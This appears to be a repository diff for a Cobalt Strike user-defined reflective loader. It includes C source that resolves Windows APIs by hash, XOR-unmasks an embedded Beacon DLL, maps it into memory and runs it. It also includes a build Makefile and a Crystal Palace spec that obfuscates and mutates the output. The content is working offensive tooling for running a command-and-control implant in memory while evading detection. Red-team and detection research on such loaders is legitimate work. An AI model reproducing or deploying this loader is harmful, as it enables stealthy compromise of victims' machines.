*/
importByOrdinal = IMAGE_ORDINAL(originalFirstThunk->u1.Ordinal);
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByOrdinal);
}
/* OK, we are doing an import by name. */
else {
importByName = (IMAGE_IMPORT_BY_NAME *)PTR_OFFSET( dst, firstThunk->u1.AddressOfData );
DEREF(firstThunk) = (ULONG_PTR)funcs->GetProcAddress(hLib, (char *)importByName->Name);
}
/* increment our pointers, to look at next import option */
firstThunk++;
if (originalFirstThunk)
originalFirstThunk++;
}
}
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst) {
IMAGE_DATA_DIRECTORY * importTableHdr;
IMAGE_IMPORT_DESCRIPTOR * importDesc;
/* grab our header for the import table */
importTableHdr = GetDataDirectory(dll, IMAGE_DIRECTORY_ENTRY_IMPORT);
/* start with the first function of our import table, we're working solely from our destination memory now */
importDesc = (IMAGE_IMPORT_DESCRIPTOR *)PTR_OFFSET(dst, importTableHdr->VirtualAddress);
/* walk our import table and process each of the entries */
while (importDesc->Name) {
ProcessImport(funcs, dll, dst, importDesc);
importDesc++;
}
}
void LoadSections(DLLDATA * dll, char * src, char * dst) {
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
void * sectionSrc = NULL;
/* our first section! */
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++) {
/* our source data to copy from */
sectionSrc = src + sectionHdr->PointerToRawData;
/* our destination data */
sectionDst = dst + sectionHdr->VirtualAddress;
/* copy our section data over */
__movsb((unsigned char *)sectionDst, (unsigned char *)sectionSrc, sectionHdr->SizeOfRawData);
//__builtin_memcpy(sectionDst, sectionSrc, sectionHdr->SizeOfRawData);
/* advance to our next section */
sectionHdr++;
}
}
void ParseDLL(char * src, DLLDATA * data) {
data->DosHeader = (IMAGE_DOS_HEADER *)src;
data->NtHeaders = (IMAGE_NT_HEADERS *)(src + data->DosHeader->e_lfanew);
data->OptionalHeader = (IMAGE_OPTIONAL_HEADER *)&(data->NtHeaders->OptionalHeader);
}
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base) {
return (DLLMAIN_FUNC)PTR_OFFSET(base, dll->OptionalHeader->AddressOfEntryPoint);
}
DWORD SizeOfDLL(DLLDATA * data) {
return data->OptionalHeader->SizeOfImage;
}
void LoadDLL(DLLDATA * dll, char * src, char * dst) {
/* copy our headers over to the destination address, if we wish */
__movsb((unsigned char *)dst, (unsigned char *)src, dll->OptionalHeader->SizeOfHeaders);
/* load our section data */
LoadSections(dll, src, dst);
/* process our relocations */
ProcessRelocations(dll, src, dst);
}
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
postex-udrl/src/loaderdefs.h
+184
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/*
* Copyright (c) 2011/2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* * Neither the name of Harmony Security nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This file is derived from ReflectiveLoader.h from Stephen Fewer's ReflectiveDLLInjection project.
* A few items were removed, but otherwise, this should largely be unchanged.
*
* https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.h
*/
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
#define HASH_KEY 13
//===============================================================================================//
#ifndef __MINGW32__
#pragma intrinsic( _rotr )
#endif
__forceinline DWORD ror( DWORD d )
{
return _rotr( d, HASH_KEY );
}
__forceinline DWORD hash( char * c )
{
register DWORD h = 0;
do
{
h = ror( h );
h += *c;
} while( *++c );
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, *PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK * pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset:12;
WORD type:4;
} IMAGE_RELOC, *PIMAGE_RELOC;
postex-udrl/src/stdlib.h
+27
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@@ -0,0 +1,27 @@
#include <windows.h>
void* _memset(void* dest, int ch, size_t count) {
unsigned char* p = (unsigned char*)dest;
unsigned char value = (unsigned char)ch;
for (size_t i = 0; i < count; i++) {
p[i] = value;
}
return dest;
}
int _strncmp(const char *s1, const char *s2, size_t n) {
while (n-- > 0) {
unsigned char c1 = (unsigned char)*s1++;
unsigned char c2 = (unsigned char)*s2++;
if (c1 != c2)
return c1 - c2;
if (c1 == '\0')
break;
}
return 0;
}
udrl/Makefile
+14
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@@ -0,0 +1,14 @@
CC_64 = x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
bin:
mkdir bin
# x64
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
# other
clean:
rm -f bin/*
udrl/README.md
+11
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@@ -0,0 +1,11 @@
# Loader
This loader is used when the BEACON_RDLL_GENERATE hook is called,
i.e. when a new Beacon payload is generated.
This loader also allocates memory for BOFs and the Sleepmask, and
passes the information to Beacon via Beacon User Data.
## todo
1. Resolve syscall information for Beacon as well.
udrl/bin/loader.x64.o
BIN
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Binary file not shown.
udrl/loader.spec
+20
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@@ -0,0 +1,20 @@
name "Beacon BUD Loader"
describe "Reflective Loader to pass memory allocation information via Beacon User Data"
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic +optimize +disco +mutate
generate $KEY 8192
push $DLL
xor $KEY
preplen
link "beacon_dll"
push $KEY
preplen
link "xor_key"
export
udrl/src/beacon.h
+175
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/*
* From https://raw.githubusercontent.com/Cobalt-Strike/bof-vs/refs/heads/main/BOF-Template/beacon.h
*/
#ifndef _BEACON_H_
#define _BEACON_H_
#include <windows.h>
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
SYSCALL_API_ENTRY ntQueueApcThread;
SYSCALL_API_ENTRY ntCreateProcess;
SYSCALL_API_ENTRY ntOpenProcessToken;
SYSCALL_API_ENTRY ntTestAlert;
SYSCALL_API_ENTRY ntSuspendProcess;
SYSCALL_API_ENTRY ntResumeProcess;
SYSCALL_API_ENTRY ntQuerySystemInformation;
SYSCALL_API_ENTRY ntQueryDirectoryFile;
SYSCALL_API_ENTRY ntSetInformationProcess;
SYSCALL_API_ENTRY ntSetInformationThread;
SYSCALL_API_ENTRY ntQueryInformationProcess;
SYSCALL_API_ENTRY ntQueryInformationThread;
SYSCALL_API_ENTRY ntOpenSection;
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
SYSCALL_API_ENTRY ntDeviceIoControlFile;
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
} SYSCALL_API, *PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
typedef struct
{
SYSCALL_API syscalls;
RTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define COBALT_STRIKE_VERSION 0x041100
#define BOF_MEMORY_SIZE 0x10000
#define SLEEPMASK_MEMORY_SIZE 0x10000
#define DLL_BEACON_START 0x04
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
#endif // _BEACON_H_
udrl/src/loader.c
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/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
/* function prototypes */
void ReflectiveLoader();
/* this is the REAL entry point to this whole mess and it needs to go first! */
__attribute__((noinline, no_reorder)) void go() {
ReflectiveLoader();
}
/*
* loader.h is a refactored Reflective Loader and some macros/definitions we need.
* it has several functions intended to be used across loaders.
*/
#include "loaderdefs.h"
#include "loader.h"
/*
* implementations of findFunctionByHash and findModulebyHash by walking the
* Export Address Table.
*/
#include "resolve_eat.h"
/* build a table of functions we need/want */
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetProcAddress);
WIN32_FUNC(VirtualProtect);
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualFree);
} WIN32FUNCS;
/*
* Need other hashes?
* https://github.com/ihack4falafel/ROR13HashGenerator
*/
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define VIRTUALPROTECT_HASH 0x7946C61B
#define VIRTUALFREE_HASH 0x30633AC
void findNeededFunctions(WIN32FUNCS * funcs) {
char * hModule = (char *)findModuleByHash(KERNEL32DLL_HASH);
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) findFunctionByHash(hModule, LOADLIBRARYA_HASH);
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) findFunctionByHash(hModule, GETPROCADDRESS_HASH);
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) findFunctionByHash(hModule, VIRTUALALLOC_HASH);
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) findFunctionByHash(hModule, VIRTUALPROTECT_HASH);
funcs->VirtualFree = (__typeof__(VirtualFree) *) findFunctionByHash(hModule, VIRTUALFREE_HASH);
}
/*
* This is the Crystal Palace convention for getting ahold of data linked with this loader.
*/
char __BEACON_DLL[0] __attribute__((section("beacon_dll")));
char __XOR_KEY[0] __attribute__((section("xor_key")));
char * getLoaderStart() {
return (char *)&go;
}
char * findBeaconDLL() {
return (char *)&__BEACON_DLL;
}
char * findXorKey() {
return (char *)&__XOR_KEY;
}
/*
* Our embedded resources are masked, so we need to unmask them.
*/
typedef struct {
int length;
char value[];
} _RESOURCE;
char * unmaskAndLoad(WIN32FUNCS * funcs) {
char * srcData = findBeaconDLL();
char * dst;
_RESOURCE * key;
_RESOURCE * src;
/* parse our preplen + xor'd $KEY and our masked data too */
key = (_RESOURCE *)findXorKey();
src = (_RESOURCE *)srcData;
/* allocate memory for our unmasked content */
dst = funcs->VirtualAlloc(NULL, src->length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/* unmask it */
for (int x = 0; x < src->length; x++) {
dst[x] = src->value[x] ^ key->value[x % key->length];
}
return dst;
}
/*
* Our reflective loader itself, have fun, go nuts!
*/
void ReflectiveLoader() {
char * loaderStart;
char * rawBeaconDll;
char * loadedBeaconDll;
char * bofMemory;
char * sleepMaskMemory;
WIN32FUNCS funcs;
DLLDATA beaconData;
USER_DATA bud;
ALLOCATED_MEMORY memory;
/* initialise bud */
_memset(&bud, 0, sizeof(USER_DATA));
_memset(&memory, 0, sizeof(ALLOCATED_MEMORY));
bud.version = COBALT_STRIKE_VERSION;
bud.allocatedMemory = &memory;
/* get start of this loader */
loaderStart = getLoaderStart();
/* resolve Win32 functions */
findNeededFunctions(&funcs);
/* find Beacon DLL appended to this loader */
rawBeaconDll = unmaskAndLoad(&funcs);
/* parse the Beacon DLL */
ParseDLL(rawBeaconDll, &beaconData);
/* allocate memory for Beacon */
loadedBeaconDll = funcs.VirtualAlloc(NULL, SizeOfDLL(&beaconData), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/* define cleanup information for VirtualAlloc */
ALLOCATED_MEMORY_CLEANUP_INFORMATION vaCleanup;
_memset(&vaCleanup, 0, sizeof(ALLOCATED_MEMORY_CLEANUP_INFORMATION));
vaCleanup.AllocationMethod = METHOD_VIRTUALALLOC;
vaCleanup.Cleanup = TRUE;
/* set the region info for Beacon */
bud.allocatedMemory->AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY;
bud.allocatedMemory->AllocatedMemoryRegions[0].AllocationBase = loadedBeaconDll;
bud.allocatedMemory->AllocatedMemoryRegions[0].RegionSize = beaconData.NtHeaders->OptionalHeader.SizeOfImage;
bud.allocatedMemory->AllocatedMemoryRegions[0].Type = MEM_PRIVATE;
bud.allocatedMemory->AllocatedMemoryRegions[0].CleanupInformation = vaCleanup;
/* load Beacon into memory */
LoadDLL(&beaconData, rawBeaconDll, loadedBeaconDll);
/* process its imports */
ProcessImports((IMPORTFUNCS *)&funcs, &beaconData, loadedBeaconDll);
/* fix memory permissions and track each section */
FixSectionsAndTrackMemory((IMPORTFUNCS *)&funcs, &beaconData, loadedBeaconDll, &bud.allocatedMemory->AllocatedMemoryRegions[0]);
/* allocate memory for BOF & sleepmask */
bofMemory = funcs.VirtualAlloc(NULL, BOF_MEMORY_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
sleepMaskMemory = funcs.VirtualAlloc(NULL, SLEEPMASK_MEMORY_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
/* set memory info */
bud.allocatedMemory->AllocatedMemoryRegions[1].Purpose = PURPOSE_BOF_MEMORY;
bud.allocatedMemory->AllocatedMemoryRegions[1].AllocationBase = bofMemory;
bud.allocatedMemory->AllocatedMemoryRegions[1].RegionSize = BOF_MEMORY_SIZE;
bud.allocatedMemory->AllocatedMemoryRegions[1].Type = MEM_PRIVATE;
bud.allocatedMemory->AllocatedMemoryRegions[1].CleanupInformation = vaCleanup;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].Label = LABEL_BUFFER;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].BaseAddress = bofMemory;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].VirtualSize = BOF_MEMORY_SIZE;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].MaskSection = TRUE;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].CurrentProtect = PAGE_READWRITE;
bud.allocatedMemory->AllocatedMemoryRegions[1].Sections[0].PreviousProtect = PAGE_READWRITE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Purpose = PURPOSE_SLEEPMASK_MEMORY;
bud.allocatedMemory->AllocatedMemoryRegions[2].AllocationBase = sleepMaskMemory;
bud.allocatedMemory->AllocatedMemoryRegions[2].RegionSize = SLEEPMASK_MEMORY_SIZE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Type = MEM_PRIVATE;
bud.allocatedMemory->AllocatedMemoryRegions[2].CleanupInformation = vaCleanup;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].Label = LABEL_BUFFER;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].BaseAddress = sleepMaskMemory;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].VirtualSize = SLEEPMASK_MEMORY_SIZE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].MaskSection = FALSE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].CurrentProtect = PAGE_READWRITE;
bud.allocatedMemory->AllocatedMemoryRegions[2].Sections[0].PreviousProtect = PAGE_READWRITE;
/* get the entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(&beaconData, loadedBeaconDll);
/* free the unmasked copy */
funcs.VirtualFree(rawBeaconDll, 0, MEM_RELEASE);
/* call it three times */
/* DLL_BEACON_USER_DATA */
entryPoint((HINSTANCE)0, DLL_BEACON_USER_DATA, &bud);
/* DLL_PROCESS_ATTACH */
entryPoint((HINSTANCE)loadedBeaconDll, DLL_PROCESS_ATTACH, NULL);
/* DLL_BEACON_START */
entryPoint((HINSTANCE)loaderStart, DLL_BEACON_START, NULL);
}
udrl/src/loader.h
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/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* This file is part of Tradecraft Garden
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
*/
#include "beacon.h"
#include "stdlib.h"
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
__typeof__(VirtualProtect) * VirtualProtect;
} IMPORTFUNCS;
/*
* implementation begins below.
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
WORD offset:12;
WORD type:4;
} __IMAGE_RELOC, *__PIMAGE_RELOC;
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry) {
return dll->OptionalHeader->DataDirectory + entry;
}
void ProcessRelocation(DLLDATA * dll, char * src, char * dst, IMAGE_BASE_RELOCATION * relocation, ULONG_PTR newBaseAddress) {
void * relocAddr = PTR_OFFSET(dst, relocation->VirtualAddress);
DWORD relocEntries = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(__IMAGE_RELOC);
__IMAGE_RELOC * relocEntry = (__IMAGE_RELOC *)PTR_OFFSET( relocation, sizeof(IMAGE_BASE_RELOCATION) );
for (int x = 0; x < relocEntries; x++) {
if (relocEntry->type == IMAGE_REL_BASED_DIR64) {
*(ULONG_PTR *)(relocAddr + relocEntry->offset) += newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGHLOW) {
*(DWORD *)(relocAddr + relocEntry->offset) += (DWORD)newBaseAddress;
}
else if (relocEntry->type == IMAGE_REL_BASED_HIGH) {
*(WORD *)(relocAddr + relocEntry->offset) += HIWORD(newBaseAddress);
}
else if (relocEntry->type == IMAGE_REL_BASED_LOW) {
*(WORD *)(relocAddr + relocEntry->offset) += LOWORD(newBaseAddress);
}
relocEntry++;
}
}
ALLOCATED_MEMORY_LABEL GetLabelFromSectionHeader(IMAGE_SECTION_HEADER * sectionHdr) {
/* pic strings */
char text[] = { '.', 't', 'e', 'x', 't', '\0' };
char rdata[] = { '.', 'r', 'd', 'a', 't', 'a', '\0' };
char data[] = { '.', 'd', 'a', 't', 'a', '\0' };
char pdata[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' };
char reloc[] = { '.', 'r', 'e', 'l', 'o', 'c', '\0' };
if (_strncmp((char *)sectionHdr->Name, (char *)text, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_TEXT;
}
if (_strncmp((char *)sectionHdr->Name, (char *)rdata, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_RDATA;
}
if (_strncmp((char *)sectionHdr->Name, (char *)data, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_DATA;
}
if (_strncmp((char *)sectionHdr->Name, (char *)pdata, IMAGE_SIZEOF_SHORT_NAME) == 0) {
return LABEL_PDATA;
}
